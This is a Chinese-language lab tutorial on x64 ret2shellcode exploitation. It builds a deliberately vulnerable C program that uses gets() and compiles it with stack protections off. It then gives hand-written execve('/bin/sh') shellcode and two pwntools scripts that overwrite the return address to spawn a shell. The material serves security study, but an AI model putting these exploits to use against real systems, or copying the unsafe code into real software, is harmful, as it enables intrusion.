ROP-Ret2Shellcode-x64

ROP-Ret2Shellcode-x64

0x01 前置知识

之前讲过32位程序的ret2shellcode,而64位程序的系统调用在存放参数的地方与32位的有所不同,如下所示:

x64

在64位程序中,系统调用号放在rax中,然后前六个参数依次保存在RDI, RSI, RDX, RCX, R8 和 R9 寄存器中。

编写64位shellcode:

  1. 想办法调用execve(“/bin/sh”,null,null);

  2. 借助栈来传入字符串/bin//sh

  3. 系统调用execve

    rax = 0x3b(系统调用号)

    rdi = bin_sh_addr(参数一)

    rsi = 0(参数二)

    rdx = 0(参数三)

shellcode示例:

xor rax,rax
add rax,0x3b
xor rdi,rdi
push rdi
mov rdi,0x68732f2f6e69622f
push rdi
lea rdi,[rsp]
xor rsi,rsi
xor rdx,rdx
syscall

0x02 实验环境

ubuntu 16.04

0x03 实验

首先,先看一个c程序,源码如下:

#include<stdio.h>
char buf2[200];
int main()
{
    setvbuf(stdout,0,2,0);
    char buf[20];
    printf("what's your name: ");
    gets(buf);
    printf("leave message: ");
    gets(buf2);
    puts(buf2);
    ruturn 0;
}

之后编译一下,把保护都关闭:

gcc -no-pie -fno-stack-protector -zexecstack -o ret2shellcode1 ret2shellcode1.c

然后用checksec检查下保护情况:

checksec

可以看到确实保护都没有开启,程序为64位小端。

简单分析下上述程序,可知需要将main函数的返回地址覆盖为buf2的地址,然后让buf2执行我们构造好的shellcode,这里直接用objdump看下buf2地址:

objdump -d -M intel ret2shellcode1 | grep buf2

buf2

发现有两个结果,但是buf2地址是一样的(这里都是601080),然后继续使用objdump看下其具体的反汇编:

buf2_d

可以看到一个是输入的,一个是输出的,而我们要关注的是输入的这里。

下面开启gdb进行调试,这里要先看下buf2所在的段是否可执行,在400600处下断,然后运行,使用vmmap命令查看一下权限:

vmmap

可以看到buf2(地址为601080)所在的段有可执行权限。

现在开始计算偏移,使用cyclic命令(具体操作不再赘述):

cyclic

可以看到偏移为40,这里需注意pwndbg中这个插件不支持查询8字节,所以需要输入小端4字节来进行查询。

下面开始编写exp,如下所示:

from pwn import*                  # 导入包

context(arch = 'amd64',os = 'linux',log_level = 'debug')  # 设置架构,设置日志记录级别,方便排错

e = ELF("./ret2shellcode1")       # 获取elf文件信息

buf2 = e.symbols["buf2"]          # 找到buf2地址

p = process("./ret2shellcode1")

shellcode = asm(shellcraft.sh())  # 生成shellcode

offset = 40                       # 偏移

payload1 = offset*'a' + p64(buf2) # 第一个payload,覆盖返回地址

p.recvuntil(": ")                 # 接收数据直到设置的标志出现

p.sendline(payload1)              # 发送第一个payload

payload2 = shellcode.ljust(200,'a')  # 第二个payload,发送shellcode,这里指定200字节,不够则填充a,可以不用ljust,这里只是复习一下用法

p.recvuntil(": ")                 # 接收数据直到设置的标志出现

p.sendline(payload2)              # 发送第二个payload

p.interactive()                   # 获取交互

也可以使用自己编写的shellcode,如下:

 import*

context(arch = 'amd64',os = 'linux',log_level = 'debug')

e = ELF("./ret2shellcode1")

buf2 = e.symbols["buf2"]

p = process("./ret2shellcode1")

shellcode = asm("""
xor rax,rax
add rax,0x3b
xor rdi,rdi
push rdi
mov rdi,0x68732f2f6e69622f
push rdi
lea rdi,[rsp]
xor rsi,rsi
xor rdx,rdx
syscall
""")

offset = 40

payload1 = offset*'a' + p64(buf2)

p.recvuntil(": ")

p.sendline(payload1)

payload2 = shellcode

p.recvuntil(": ")

p.sendline(payload2)

p.interactive()

最后运行一下,发现成功getshell:

getshell